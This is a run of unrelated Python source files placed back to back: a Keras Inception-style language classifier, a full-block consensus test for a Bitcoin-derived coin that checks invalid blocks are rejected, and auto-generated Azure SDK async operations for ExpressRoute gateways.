json.load(f) gameLibrary = make_game_library_from_json(data) print(gameLibrary)
#!/usr/bin/env python3 import numpy as np from keras.layers import Input, Dense, Conv2D, MaxPooling2D, GlobalAveragePooling2D, Flatten, Dropout from keras.layers.merge import concatenate from keras.models import Model from keras.optimizers import Adam from keras.callbacks import ModelCheckpoint, TensorBoard # import tensorflow as tf # from keras.backend.tensorflow_backend import set_session # config = tf.ConfigProto() # config.gpu_options.per_process_gpu_memory_fraction = 0.45 # set_session(tf.Session(config = config)) from utils import DataLoader def branch1(input, n_1x1): return Conv2D(n_1x1, kernel_size=(1, 1), padding='same', activation='selu')(input) def branch2(input, n_3x3r, n_3x3): net = Conv2D(n_3x3r, kernel_size=(1, 1), padding='same', activation='selu')(input) return Conv2D(n_3x3, kernel_size=(3, 3), padding='same', activation='selu')(net) def branch3(input, n_5x5r, n_5x5): net = Conv2D(n_5x5r, kernel_size=(1, 1), padding='same', activation='selu')(input) return Conv2D(n_5x5, kernel_size=(5, 5), padding='same', activation='selu')(net) def branch4(input, n_pool): net = MaxPooling2D(pool_size=(3, 3), strides=(1, 1), padding='same')(input) return Conv2D(n_pool, kernel_size=(1, 1), padding='same', activation='selu')(net) def inception_block(input, n_1x1, n_3x3r, n_3x3, n_5x5r, n_5x5, n_pool): br1 = branch1(input, n_1x1) br2 = branch2(input, n_3x3r, n_3x3) br3 = branch3(input, n_5x5r, n_5x5) br4 = branch4(input, n_pool) # channel last # return concatenate([br1, br2, br3, br4], axis=-1) return concatenate([input, br1, br2, br3, br4], axis=-1) def build_model(): inputs = Input(shape=(256, 256, 1)) model = Conv2D(64, kernel_size=(5, 5), padding='same', activation='selu')(inputs) model = MaxPooling2D(pool_size=(3, 3), strides=(2, 2))(model) model = Conv2D(64, kernel_size=(1, 1), padding='same', activation='selu')(model) model = Conv2D(192, kernel_size=(3, 3), padding='same', activation='selu')(model) model = MaxPooling2D(pool_size=(3, 3), strides=(2, 2))(model) model = inception_block(model, 64, 96, 128, 16, 32, 32) model = MaxPooling2D(pool_size=(3, 3), strides=(2, 2))(model) model = inception_block(model, 196, 96, 208, 16, 48, 64) model = inception_block(model, 160, 112, 224, 24, 64, 64) model = MaxPooling2D(pool_size=(3, 3), strides=(2, 2))(model) model = inception_block(model, 128, 128, 256, 24, 64, 64) model = MaxPooling2D(pool_size=(3, 3), strides=(2, 2))(model) model = inception_block(model, 112, 144, 288, 32, 64, 64) model = MaxPooling2D(pool_size=(3, 3), strides=(2, 2))(model) model = inception_block(model, 256, 160, 320, 32, 96, 96) model = GlobalAveragePooling2D()(model) # model = Dropout(0.4)(model) model = Dense(2, activation='softmax')(model) model = Model(inputs, model) model.summary() return model if __name__ == '__main__': train_size, valid_size = 20411, 6804 batch_size = 24 epochs = 100 train_loader = DataLoader(file_glob_pattern = 'feature/train_*.npy', batch_size = batch_size) valid_loader = DataLoader(file_glob_pattern = 'feature/valid_*.npy', batch_size = batch_size) model_ckpt = ModelCheckpoint('./models/lang_classify.h5', verbose = 1, save_best_only = True) tensorboard = TensorBoard(log_dir='./logs/lang_classify', histogram_freq=0, write_graph=True, write_images=False) model = build_model() model.compile(loss = 'binary_crossentropy', optimizer = Adam(lr = 1e-4), metrics = ['accuracy']) model.fit_generator(train_loader, steps_per_epoch = train_size // batch_size,\ validation_data = valid_loader, validation_steps = valid_size // batch_size,\ epochs = epochs, callbacks = [model_ckpt, tensorboard])
#!/usr/bin/env python2 # # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # from test_framework.test_framework import ComparisonTestFramework from test_framework.util import * from test_framework.comptool import TestManager, TestInstance, RejectResult from test_framework.blocktools import * import time from test_framework.key import CECKey from test_framework.script import CScript, SignatureHash, SIGHASH_ALL, OP_TRUE, OP_FALSE class PreviousSpendableOutput(object): def __init__(self, tx = CTransaction(), n = -1): self.tx = tx self.n = n # the output we're spending ''' This reimplements tests from the collegicoinj/FullBlockTestGenerator used by the pull-tester. We use the testing framework in which we expect a particular answer from each test. ''' class FullBlockTest(ComparisonTestFramework): ''' Can either run this test as 1 node with expected answers, or two and compare them. Change the "outcome" variable from each TestInstance object to only do the comparison. ''' def __init__(self): self.num_nodes = 1 self.block_heights = {} self.coinbase_key = CECKey() self.coinbase_key.set_secretbytes(b"horsebattery") self.coinbase_pubkey = self.coinbase_key.get_pubkey() self.block_time = int(time.time())+1 self.tip = None self.blocks = {} def run_test(self): test = TestManager(self, self.options.tmpdir) test.add_all_connections(self.nodes) NetworkThread().start() # Start up network handling in another thread sync_masternodes(self.nodes) test.run() def add_transactions_to_block(self, block, tx_list): [ tx.rehash() for tx in tx_list ] block.vtx.extend(tx_list) block.hashMerkleRoot = block.calc_merkle_root() block.rehash() return block # Create a block on top of self.tip, and advance self.tip to point to the new block # if spend is specified, then 1 satoshi will be spent from that to an anyone-can-spend output, # and rest will go to fees. def next_block(self, number, spend=None, additional_coinbase_value=0, script=None): if self.tip == None: base_block_hash = self.genesis_hash else: base_block_hash = self.tip.sha256 # First create the coinbase height = self.block_heights[base_block_hash] + 1 coinbase = create_coinbase(height, self.coinbase_pubkey) coinbase.vout[0].nValue += additional_coinbase_value if (spend != None): coinbase.vout[0].nValue += spend.tx.vout[spend.n].nValue - 1 # all but one satoshi to fees coinbase.rehash() block = create_block(base_block_hash, coinbase, self.block_time) if (spend != None): tx = CTransaction() tx.vin.append(CTxIn(COutPoint(spend.tx.sha256, spend.n), b"", 0xffffffff)) # no signature yet # This copies the java comparison tool testing behavior: the first # txout has a garbage scriptPubKey, "to make sure we're not # pre-verifying too much" (?) tx.vout.append(CTxOut(0, CScript([random.randint(0,255), height & 255]))) if script == None: tx.vout.append(CTxOut(1, CScript([OP_TRUE]))) else: tx.vout.append(CTxOut(1, script)) # Now sign it if necessary scriptSig = b"" scriptPubKey = bytearray(spend.tx.vout[spend.n].scriptPubKey) if (scriptPubKey[0] == OP_TRUE): # looks like an anyone-can-spend scriptSig = CScript([OP_TRUE]) else: # We have to actually sign it (sighash, err) = SignatureHash(spend.tx.vout[spend.n].scriptPubKey, tx, 0, SIGHASH_ALL) scriptSig = CScript([self.coinbase_key.sign(sighash) + bytes(bytearray([SIGHASH_ALL]))]) tx.vin[0].scriptSig = scriptSig # Now add the transaction to the block block = self.add_transactions_to_block(block, [tx]) block.solve() self.tip = block self.block_heights[block.sha256] = height self.block_time += 1 assert number not in self.blocks self.blocks[number] = block return block def get_tests(self): self.genesis_hash = int(self.nodes[0].getbestblockhash(), 16) self.block_heights[self.genesis_hash] = 0 spendable_outputs = [] # save the current tip so it can be spent by a later block def save_spendable_output(): spendable_outputs.append(self.tip) # get an output that we previous marked as spendable def get_spendable_output(): return PreviousSpendableOutput(spendable_outputs.pop(0).vtx[0], 0) # returns a test case that asserts that the current tip was accepted def accepted(): return TestInstance([[self.tip, True]]) # returns a test case that asserts that the current tip was rejected def rejected(reject = None): if reject is None: return TestInstance([[self.tip, False]]) else: return TestInstance([[self.tip, reject]]) # move the tip back to a previous block def tip(number): self.tip = self.blocks[number] # add transactions to a block produced by next_block def update_block(block_number, new_transactions): block = self.blocks[block_number] old_hash = block.sha256 self.add_transactions_to_block(block, new_transactions) block.solve() # Update the internal state just like in next_block self.tip = block self.block_heights[block.sha256] = self.block_heights[old_hash] del self.block_heights[old_hash] self.blocks[block_number] = block return block # creates a new block and advances the tip to that block block = self.next_block # Create a new block block(0) save_spendable_output() yield accepted() # Now we need that block to mature so we can spend the coinbase. test = TestInstance(sync_every_block=False) for i in range(99): block(1000 + i) test.blocks_and_transactions.append([self.tip, True]) save_spendable_output() yield test # Start by building a couple of blocks on top (which output is spent is # in parentheses): # genesis -> b1 (0) -> b2 (1) out0 = get_spendable_output() block(1, spend=out0) save_spendable_output() yield accepted() out1 = get_spendable_output() b2 = block(2, spend=out1) yield accepted() # so fork like this: # # genesis -> b1 (0) -> b2 (1) # \-> b3 (1) # # Nothing should happen at this point. We saw b2 first so it takes priority. tip(1) b3 = block(3, spend=out1) txout_b3 = PreviousSpendableOutput(b3.vtx[1], 1) yield rejected() # Now we add another block to make the alternative chain longer. # # genesis -> b1 (0) -> b2 (1) # \-> b3 (1) -> b4 (2) out2 = get_spendable_output() block(4, spend=out2) yield accepted() # ... and back to the first chain. # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b3 (1) -> b4 (2) tip(2) block(5, spend=out2) save_spendable_output() yield rejected() out3 = get_spendable_output() block(6, spend=out3) yield accepted() # Try to create a fork that double-spends # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b7 (2) -> b8 (4) # \-> b3 (1) -> b4 (2) tip(5) block(7, spend=out2) yield rejected() out4 = get_spendable_output() block(8, spend=out4) yield rejected() # Try to create a block that has too much fee # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b9 (4) # \-> b3 (1) -> b4 (2) tip(6) block(9, spend=out4, additional_coinbase_value=1) yield rejected(RejectResult(16, b'bad-cb-amount')) # Create a fork that ends in a block with too much fee (the one that causes the reorg) # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b10 (3) -> b11 (4) # \-> b3 (1) -> b4 (2) tip(5) block(10, spend=out3) yield rejected() block(11, spend=out4, additional_coinbase_value=1) yield rejected(RejectResult(16, b'bad-cb-amount')) # Try again, but with a valid fork first # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b14 (5) # (b12 added last) # \-> b3 (1) -> b4 (2) tip(5) b12 = block(12, spend=out3) save_spendable_output() #yield TestInstance([[b12, False]]) b13 = block(13, spend=out4) # Deliver the block header for b12, and the block b13. # b13 should be accepted but the tip won't advance until b12 is delivered. yield TestInstance([[CBlockHeader(b12), None], [b13, False]]) save_spendable_output() out5 = get_spendable_output() # b14 is invalid, but the node won't know that until it tries to connect # Tip still can't advance because b12 is missing block(14, spend=out5, additional_coinbase_value=1) yield rejected() yield TestInstance([[b12, True, b13.sha256]]) # New tip should be b13. # Add a block with MAX_BLOCK_SIGOPS and one with one more sigop # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b15 (5) -> b16 (6) # \-> b3 (1) -> b4 (2) # Test that a block with a lot of checksigs is okay lots_of_checksigs = CScript([OP_CHECKSIG] * (1000000 // 50 - 1)) tip(13) block(15, spend=out5, script=lots_of_checksigs) yield accepted() # Test that a block with too many checksigs is rejected out6 = get_spendable_output() too_many_checksigs = CScript([OP_CHECKSIG] * (1000000 // 50)) block(16, spend=out6, script=too_many_checksigs) yield rejected(RejectResult(16, b'bad-blk-sigops')) # Attempt to spend a transaction created on a different fork # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b15 (5) -> b17 (b3.vtx[1]) # \-> b3 (1) -> b4 (2) tip(15) block(17, spend=txout_b3) yield rejected(RejectResult(16, b'bad-txns-inputs-missingorspent')) # Attempt to spend a transaction created on a different fork (on a fork this time) # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b15 (5) # \-> b18 (b3.vtx[1]) -> b19 (6) # \-> b3 (1) -> b4 (2) tip(13) block(18, spend=txout_b3) yield rejected() block(19, spend=out6) yield rejected() # Attempt to spend a coinbase at depth too low # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b15 (5) -> b20 (7) # \-> b3 (1) -> b4 (2) tip(15) out7 = get_spendable_output() block(20, spend=out7) yield rejected(RejectResult(16, b'bad-txns-premature-spend-of-coinbase')) # Attempt to spend a coinbase at depth too low (on a fork this time) # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b15 (5) # \-> b21 (6) -> b22 (5) # \-> b3 (1) -> b4 (2) tip(13) block(21, spend=out6) yield rejected() block(22, spend=out5) yield rejected() # Create a block on either side of MAX_BLOCK_SIZE and make sure its accepted/rejected # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b15 (5) -> b23 (6) # \-> b24 (6) -> b25 (7) # \-> b3 (1) -> b4 (2) tip(15) b23 = block(23, spend=out6) old_hash = b23.sha256 tx = CTransaction() script_length = MAX_BLOCK_SIZE - len(b23.serialize()) - 69 script_output = CScript([b'\x00' * script_length]) tx.vout.append(CTxOut(0, script_output)) tx.vin.append(CTxIn(COutPoint(b23.vtx[1].sha256, 1))) b23 = update_block(23, [tx]) # Make sure the math above worked out to produce a max-sized block assert_equal(len(b23.serialize()), MAX_BLOCK_SIZE) yield accepted() # Make the next block one byte bigger and check that it fails tip(15) b24 = block(24, spend=out6) script_length = MAX_BLOCK_SIZE - len(b24.serialize()) - 69 script_output = CScript([b'\x00' * (script_length+1)]) tx.vout = [CTxOut(0, script_output)] b24 = update_block(24, [tx]) assert_equal(len(b24.serialize()), MAX_BLOCK_SIZE+1) yield rejected(RejectResult(16, b'bad-blk-length')) b25 = block(25, spend=out7) yield rejected() # Create blocks with a coinbase input script size out of range # genesis -> b1 (0) -> b2 (1) -> b5 (2) -> b6 (3) # \-> b12 (3) -> b13 (4) -> b15 (5) -> b23 (6) -> b30 (7) # \-> ... (6) -> ... (7) # \-> b3 (1) -> b4 (2) tip(15) b26 = block(26, spend=out6) b26.vtx[0].vin[0].scriptSig = b'\x00' b26.vtx[0].rehash() # update_block causes the merkle root to get updated, even with no new # transactions, and updates the required state. b26 = update_block(26, []) yield rejected(RejectResult(16, b'bad-cb-length')) # Extend the b26 chain to make sure collegicoind isn't accepting b26 b27 = block(27, spend=out7) yield rejected() # Now try a too-large-coinbase script tip(15) b28 = block(28, spend=out6) b28.vtx[0].vin[0].scriptSig = b'\x00' * 101 b28.vtx[0].rehash() b28 = update_block(28, []) yield rejected(RejectResult(16, b'bad-cb-length')) # Extend the b28 chain to make sure collegicoind isn't accepted b28 b29 = block(29, spend=out7) # TODO: Should get a reject message back with "bad-prevblk", except # there's a bug that prevents this from being detected. Just note # failure for now, and add the reject result later. yield rejected() # b30 has a max-sized coinbase scriptSig. tip(23) b30 = block(30) b30.vtx[0].vin[0].scriptSig = b'\x00' * 100 b30.vtx[0].rehash() b30 = update_block(30, []) yield accepted() if __name__ == '__main__': FullBlockTest().main()
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, Callable, Dict, Generic, Optional, TypeVar, Union import warnings from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class ExpressRouteGatewaysOperations: """ExpressRouteGatewaysOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.network.v2019_12_01.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config async def list_by_subscription( self, **kwargs ) -> "_models.ExpressRouteGatewayList": """Lists ExpressRoute gateways under a given subscription. :keyword callable cls: A custom type or function that will be passed the direct response :return: ExpressRouteGatewayList, or the result of cls(response) :rtype: ~azure.mgmt.network.v2019_12_01.models.ExpressRouteGatewayList :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.ExpressRouteGatewayList"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-12-01" accept = "application/json" # Construct URL url = self.list_by_subscription.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('ExpressRouteGatewayList', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized list_by_subscription.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.Network/expressRouteGateways'} # type: ignore async def list_by_resource_group( self, resource_group_name: str, **kwargs ) -> "_models.ExpressRouteGatewayList": """Lists ExpressRoute gateways in a given resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: ExpressRouteGatewayList, or the result of cls(response) :rtype: ~azure.mgmt.network.v2019_12_01.models.ExpressRouteGatewayList :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.ExpressRouteGatewayList"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-12-01" accept = "application/json" # Construct URL url = self.list_by_resource_group.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('ExpressRouteGatewayList', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized list_by_resource_group.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/expressRouteGateways'} # type: ignore async def _create_or_update_initial( self, resource_group_name: str, express_route_gateway_name: str, put_express_route_gateway_parameters: "_models.ExpressRouteGateway", **kwargs ) -> "_models.ExpressRouteGateway": cls = kwargs.pop('cls', None) # type: ClsType["_models.ExpressRouteGateway"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-12-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self._create_or_update_initial.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'expressRouteGatewayName': self._serialize.url("express_route_gateway_name", express_route_gateway_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(put_express_route_gateway_parameters, 'ExpressRouteGateway') body_content_kwargs['content'] = body_content request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 201]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if response.status_code == 200: deserialized = self._deserialize('ExpressRouteGateway', pipeline_response) if response.status_code == 201: deserialized = self._deserialize('ExpressRouteGateway', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/expressRouteGateways/{expressRouteGatewayName}'} # type: ignore async def begin_create_or_update( self, resource_group_name: str, express_route_gateway_name: str, put_express_route_gateway_parameters: "_models.ExpressRouteGateway", **kwargs ) -> AsyncLROPoller["_models.ExpressRouteGateway"]: """Creates or updates a ExpressRoute gateway in a specified resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param express_route_gateway_name: The name of the ExpressRoute gateway. :type express_route_gateway_name: str :param put_express_route_gateway_parameters: Parameters required in an ExpressRoute gateway PUT operation. :type put_express_route_gateway_parameters: ~azure.mgmt.network.v2019_12_01.models.ExpressRouteGateway :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: Pass in True if you'd like the AsyncARMPolling polling method, False for no polling, or your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either ExpressRouteGateway or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.network.v2019_12_01.models.ExpressRouteGateway] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.ExpressRouteGateway"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._create_or_update_initial( resource_group_name=resource_group_name, express_route_gateway_name=express_route_gateway_name, put_express_route_gateway_parameters=put_express_route_gateway_parameters, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('ExpressRouteGateway', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'expressRouteGatewayName': self._serialize.url("express_route_gateway_name", express_route_gateway_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/expressRouteGateways/{expressRouteGatewayName}'} # type: ignore async def get( self, resource_group_name: str, express_route_gateway_name: str, **kwargs ) -> "_models.ExpressRouteGateway": """Fetches the details of a ExpressRoute gateway in a resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param express_route_gateway_name: The name of the ExpressRoute gateway. :type express_route_gateway_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: ExpressRouteGateway, or the result of cls(response) :rtype: ~azure.mgmt.network.v2019_12_01.models.ExpressRouteGateway :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.ExpressRouteGateway"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-12-01" accept = "application/json" # Construct URL url = self.get.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'expressRouteGatewayName': self._serialize.url("express_route_gateway_name", express_route_gateway_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('ExpressRouteGateway', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/expressRouteGateways/{expressRouteGatewayName}'} # type: ignore async def _delete_initial( self, resource_group_name: str, express_route_gateway_name: str, **kwargs ) -> None: cls = kwargs.pop('cls', None) # type: ClsType[None] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-12-01" accept = "application/json" # Construct URL url = self._delete_initial.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'expressRouteGatewayName': self._serialize.url("express_route_gateway_name", express_route_gateway_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if cls: return cls(pipeline_response, None, {}) _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/expressRouteGateways/{expressRouteGatewayName}'} # type: ignore async def begin_delete( self, resource_group_name: str, express_route_gateway_name: str, **kwargs ) -> AsyncLROPoller[None]: """Deletes the specified ExpressRoute gateway in a resource group. An ExpressRoute gateway resource can only be deleted when there are no connection subresources. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param express_route_gateway_name: The name of the ExpressRoute gateway. :type express_route_gateway_name: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: Pass in True if you'd like the AsyncARMPolling polling method, False for no polling, or your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType[None] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._delete_initial( resource_group_name=resource_group_name, express_route_gateway_name=express_route_gateway_name, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): if cls: return cls(pipeline_response, None, {}) path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'expressRouteGatewayName': self._serialize.url("express_route_gateway_name", express_route_gateway_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/expressRouteGateways/{expressRouteGatewayName}'} # type: ignore
